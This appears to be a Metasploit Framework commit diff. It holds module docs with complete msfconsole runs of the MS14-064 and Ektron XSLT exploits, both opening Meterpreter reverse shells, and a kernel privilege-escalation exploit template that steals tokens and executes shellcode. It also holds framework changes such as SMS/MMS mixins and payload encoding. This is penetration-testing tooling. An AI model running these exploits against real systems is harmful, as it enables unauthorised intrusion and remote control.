The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.208`. Unlike on the Windows XP, target victim will see a popup dialog apear and they will have to allow the execution of the PowerShell script for the exploit to work. You need to set `AllowPowershellPrompt` option to `true` otherwise the exploit won't work on Windows 7.
```
msf > use exploit/windows/browser/ms14_064_ole_code_execution
msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3
LHOST => 192.168.2.3
msf exploit(ms14_064_ole_code_execution) > set AllowPowershellPrompt true
AllowPowershellPrompt => true
msf exploit(ms14_064_ole_code_execution) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.3:4444
msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/6tdgNjLVij3zs
[*] Local IP: http://192.168.2.3:8080/6tdgNjLVij3zs
[*] Server started.
[*] 192.168.2.208 ms14_064_ole_code_execution - Gathering target information for 192.168.2.208
[*] 192.168.2.208 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.208
[*] 192.168.2.208 ms14_064_ole_code_execution - Sending exploit...
[*] Sending stage (957487 bytes) to 192.168.2.208
[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.208:49197) at 2017-03-01 19:35:12 +0100
msf exploit(ms14_064_ole_code_execution) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WINDOWS7_X64
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```

View File

@ -0,0 +1,72 @@
## Vulnerable Application
[Ektron Content Management System (CMS)](http://www.episerver.com/cms/ektron/) 8.0, 8.5, and 8.7 before 8.7sp2 and 9.0 before sp1 (according to CVE-2015-0923)
Ektron has been acquired by Epi Server and finding installers may prove difficult.
## Verification Steps
But if you can build a test network the following may be used to verify:
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/windows/http/ektron_xslt_exec_ws```
4. Do: ```set RHOST [target ip]```
5. Do: ```check```
6. You should receive a target vulnerable message.
7. Do: ```exploit```
8. You should get a shell.
In our experience testing against 64 bit hosts should still pass the 'check' in step 6 and return a target vulnerable message. But when injecting shellcode into a new thread it may require the tester to adjust the payload as well. This may be done as follows:
1. Do ```set PAYLOAD windows/x64/meterpreter```
## Options
These are important but perhaps less-used options. There are quite a few other 'web' options available which will not be discussed due to their generality.
**TARGETOP**
There are multiple operations which are vulnerable to this XSLT bug. We have enumerated more (likely all) of the operations in ServerControlWS.asmx and provide testers with the ability to test the additional operations by setting this option to one of the following: ContentBlockEx, GetContentFlaggingString,GetMessagingString, GetBookmarkString, GetContentRatingString
This value defaults to ContentBlockEx (from the original reports). Testers may find adjusting this value useful if defenders have included Web Application Firewall (WAF) rules to specifically filter ContentBlockEx as a mitigation in lieu of updating.
**TARGETURI**
This allows the tester to adjust the base-installation path. The default value is '/cms400min' but in our experience many deployments are simply the root path '/'.
## Scenarios
Checking if a target is vulnerable.
```
msf > use exploit/windows/http/ektron_xslt_exec_ws
msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175
RHOST => 192.168.1.175
msf exploit(ektron_xslt_exec_ws) > check
[+] 192.168.1.175:80 The target is vulnerable
msf exploit(ektron_xslt_exec_ws) >
```
Exploiting a Win7 x64 installation to obtain shell.
```
msf > use exploit/windows/http/ektron_xslt_exec_ws
msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175
RHOST => 192.168.1.175
msf exploit(ektron_xslt_exec_ws) > check
[+] 192.168.1.175:80 The target is vulnerable.
msf exploit(ektron_xslt_exec_ws) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(ektron_xslt_exec_ws) > set LHOST 192.168.1.50
LHOST => 192.168.1.50
msf exploit(ektron_xslt_exec_ws) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Generating the EXE Payload and the XSLT...
[*] Trying to run the xslt transformation...
[+] Exploitation was successful
[*] Sending stage (1189423 bytes) to 192.168.1.175
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.175:49169) at 2016-10-30 04:36:50 +0000
meterpreter >
```

View File

@ -3,14 +3,7 @@
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "kernel.h"
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
DWORD WINAPI capcom_sys_exec(LPVOID lpPayload)
DWORD capcom_sys_exec(LPVOID lpPayload)
{
const DWORD PwnControlCode = 0xAA013044;
HANDLE driver = INVALID_HANDLE_VALUE;

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,18 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\windows-lpe-template.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building windows-lpe-template x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building windows-lpe-template x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.40629.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "windows-lpe-template", "windows-lpe-template\windows-lpe-template.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.ActiveCfg = Release|Win32
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.Build.0 = Release|Win32
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,88 @@
// Make sure you leave these defines and includes alone.
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "kernel.h"
// Add your own defines/includes here.
DWORD WINAPI run_exploit(LPVOID lpPayload)
{
// Put your required local variables here
//LPVOID thing = malloc(100);
do
{
// all of your exploit stuff goes here
// Do some work, check for error, if fails, break.
// TODO: remove this if not needed, otherwise modify
// to run your own code.
//if (FALSE)
//{
// break;
//}
// prepare for kernel exploitation after the initial work has been done.
// This allows for other helper functions to run inside the kernel. If
// you forget to do this bit, then things in kernel land will crash!
if (!prepare_for_kernel())
{
break;
}
// This is where the exploit should be run from. When executing your exploit,
// make sure that the `steal_process_token()` function from kernel.h is executed
// inside the kernel (and preferrably nothing more!). This will conduct the token stealing
// under the context of the kernel.
// Check to see if things worked, and that we have a payload
if (was_token_replaced() && lpPayload)
{
// If so, just go ahead and execute the payload that MSF sent us.
execute_payload(lpPayload);
}
} while (0);
// Free up your stuff here.
//if (thing != NULL)
//{
// free(thing);
//}
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////
//
// There shouldn't be any need to modify anything below this line.
//
////////////////////////////////////////////////////////////////////////////////////////////////////
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
// lpReserved should have been passed in by MSF and points
// to the shellcode/payload that is to be executed if the
// exploit actually succeeds.
run_exploit(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,172 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\..\win_kernel_common\kernel.c" />
<ClCompile Include="exploit.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\..\win_kernel_common\kernel.h" />
<ClInclude Include="..\..\..\win_kernel_common\windefs.h" />
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{a67ba207-7aac-4850-beb1-e7fa07bac0b1}</ProjectGuid>
<RootNamespace>windows_lpe_template</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>psapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\windows-lep-template.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\windows-lep-template.lib</ImportLibrary>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\windows-lep-template\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>psapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\windows-lep-template.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\windows-lep-template.lib</ImportLibrary>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\windows-lep-template\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -271,4 +271,11 @@ VOID destroy_anon_mapping(MemMapping* memMap)
memMap->mapping = NULL;
}
}
}
}
DWORD execute_payload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}

View File

@ -19,5 +19,6 @@ BOOL create_anon_mapping(MemMapping* memMap);
VOID destroy_anon_mapping(MemMapping* memMap);
VOID invoke_hal_dispatch_pointer();
BOOL is_driver_loaded(wchar_t* driverName);
DWORD execute_payload(LPVOID lpPayload);
#endif

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.14.1"
VERSION = "4.14.2"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -28,3 +28,5 @@ require 'msf/core/auxiliary/iax2'
require 'msf/core/auxiliary/ntp'
require 'msf/core/auxiliary/pii'
require 'msf/core/auxiliary/redis'
require 'msf/core/auxiliary/sms'
require 'msf/core/auxiliary/mms'

View File

@ -0,0 +1,69 @@
# -*- coding: binary -*-
###
#
# The Msf::Auxiliary::Mms mixin allows you to send a text message
# including a media file.
#
##
module Msf
module Auxiliary::Mms
def initialize(info={})
super
register_options(
[
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
OptString.new('MMSSUBJECT', [false, 'The Email subject', '']),
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
OptString.new('TEXTMESSAGE', [true, 'The text message to send']),
OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']),
OptString.new('MMSFILECTYPE', [false, 'The attachment content type'])
], Auxiliary::Mms)
register_advanced_options(
[
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
], Auxiliary::Mms)
end
# Sends an MMS message to multiple numbers of the same service provider (carrier).
#
# @example This sends a text (including an attachment) via Gmail
# smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
# mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp)
# mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg')
#
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
# @param subject [String] MMS subject
# @param message [String] The text to send.
# @param attachment_path [String] Optional
# @param ctype [String] Optional
#
# @return [void]
def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
smtp = Rex::Proto::Mms::Model::Smtp.new(
address: datastore['SMTPADDRESS'],
port: datastore['SMTPPORT'],
username: datastore['SMTPUSERNAME'],
password: datastore['SMTPPASSWORD'],
login_type: datastore['SmtpLoginType'].to_sym,
from: datastore['SMTPFROM'],
)
carrier = datastore['MMSCARRIER'].to_sym
mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp)
mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype)
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
###
#
# The Msf::Auxiliary::Sms mixin allows you to send a text message to
# multiple phones of the same carrier. A valid SMTP server is needed.
#
##
module Msf
module Auxiliary::Sms
def initialize(info={})
super
register_options(
[
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
OptString.new('SMSMESSAGE', [true, 'The text message to send'])
], Auxiliary::Sms)
register_advanced_options(
[
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
], Auxiliary::Sms)
end
# Sends a text message to multiple numbers of the same service provider (carrier).
#
# @example This sends a text via Gmail
# smtp = Rex::Proto::Sms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
# sms = Rex::Proto::Sms::Client.new(carrier: :verizon, smtp_server: smtp)
# numbers = ['1112223333']
# sms.send_text_to_phones(numbers, 'Hello from Gmail')
#
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
# @param message [String] The text to send.
#
# @return [void]
def send_text(phone_numbers, message)
smtp = Rex::Proto::Sms::Model::Smtp.new(
address: datastore['SMTPADDRESS'],
port: datastore['SMTPPORT'],
username: datastore['SMTPUSERNAME'],
password: datastore['SMTPPASSWORD'],
login_type: datastore['SmtpLoginType'].to_sym,
from: datastore['SMTPFROM']
)
carrier = datastore['SMSCARRIER'].to_sym
sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp)
sms.send_text_to_phones(phone_numbers, message)
end
end
end

View File

@ -160,7 +160,7 @@ module Exploit::Remote::HttpServer
filter_request_uri(cli, req)
) ? nil : on_request_uri(cli, req)
},
'Path' => resource_uri
'Path' => opts['Path'] || resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
@ -490,6 +490,19 @@ module Exploit::Remote::HttpServer
host
end
#
# Returns the local port that is being listened on.
#
def srvport
if datastore['URIPORT']
port = datastore['URIPORT']
else
port = datastore['SRVPORT']
end
port
end
#
# Removes a URI resource.
#

View File

@ -23,6 +23,16 @@ module Msf
)
end
def is_loopback_address?(address)
begin
a = IPAddr.new(address.to_s)
return true if IPAddr.new('127.0.0.1/8') === a
return true if IPAddr.new('::1') === a
rescue
end
false
end
# A list of addresses to attempt to bind, in preferred order.
#
# @return [Array<String>] a two-element array. The first element will be
@ -32,11 +42,18 @@ module Msf
def bind_addresses
# Switch to IPv6 ANY address if the LHOST is also IPv6
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
# First attempt to bind LHOST. If that fails, the user probably has
# something else listening on that interface. Try again with ANY_ADDR.
any = (addr.length == 4) ? "0.0.0.0" : "::0"
addr = Rex::Socket.addr_ntoa(addr)
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
# Checking if LHOST is a loopback address
if is_loopback_address?(addr)
print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?")
end
addrs = [ addr, any ]
if not datastore['ReverseListenerBindAddress'].to_s.empty?
# Only try to bind to this specific interface
@ -87,10 +104,8 @@ module Msf
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
else
ex = false
via = via_string_for_ip(ip, comm)
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
break
end
end

View File

@ -419,4 +419,3 @@ end
end
end

View File

@ -205,6 +205,19 @@ module Msf
chosen_platform
end
def multiple_encode_payload(shellcode)
encoder_str = encoder[1..-1]
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
@iterations = (encoder_opt[1] || 1).to_i
@iterations = 1 if iterations < 1
encoder_mod = framework.encoders.create(encoder_opt[0])
encoder_mod.datastore.import_options_from_hash(datastore)
shellcode = run_encoder(encoder_mod, shellcode)
end
shellcode
end
# This method takes the shellcode generated so far and iterates through
# the chosen or compatible encoders. It attempts to encode the payload
# with each encoder until it finds one that works.
@ -327,7 +340,12 @@ module Msf
else
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
encoded_payload = encode_payload(raw_payload)
if encoder != nil and encoder.start_with?("@")
encoded_payload = multiple_encode_payload(raw_payload)
else
encoded_payload = encode_payload(raw_payload)
end
encoded_payload = prepend_nops(encoded_payload)
cli_print "Payload size: #{encoded_payload.length} bytes"
gen_payload = format_payload(encoded_payload)

View File

@ -27,9 +27,11 @@ class Auxiliary
#
def commands
super.update({
"run" => "Launches the auxiliary module",
"rerun" => "Reloads and launches the auxiliary module",
"exploit" => "This is an alias for the run command",
"run" => "Launches the auxiliary module",
"rcheck" => "Reloads the module and checks if the target is vulnerable",
"rerun" => "Reloads and launches the auxiliary module",
"exploit" => "This is an alias for the run command",
"recheck" => "This is an alias for the rcheck command",
"rexploit" => "This is an alias for the rerun command",
"reload" => "Reloads the auxiliary module"
}).merge( (mod ? mod.auxiliary_commands : {}) )
@ -147,6 +149,18 @@ class Auxiliary
alias cmd_exploit_help cmd_run_help
#
# Reloads an auxiliary module and checks the target to see if it's
# vulnerable.
#
def cmd_rcheck(*args)
reload()
cmd_check(*args)
end
alias cmd_recheck cmd_rcheck
end
end end end end

View File

@ -715,27 +715,34 @@ class Core
end
def cmd_load_help
print_line "Usage: load <path> [var=val var=val ...]"
print_line "Usage: load <option> [var=val var=val ...]"
print_line
print_line "Loads a plugin from the supplied path. If path is not absolute, first looks"
print_line "in the user's plugin directory (#{Msf::Config.user_plugin_directory}) then"
print_line "in the framework root plugin directory (#{Msf::Config.plugin_directory})."
print_line "Loads a plugin from the supplied path."
print_line "For a list of built-in plugins, do: load -l"
print_line "The optional var=val options are custom parameters that can be passed to plugins."
print_line
end
#
# Loads a plugin from the supplied path. If no absolute path is supplied,
# the framework root plugin directory is used.
#
def cmd_load(*args)
if (args.length == 0)
cmd_load_help
return false
end
def list_plugins
plugin_directories = {
'Framework' => Msf::Config.plugin_directory,
'User' => Msf::Config.user_plugin_directory
}
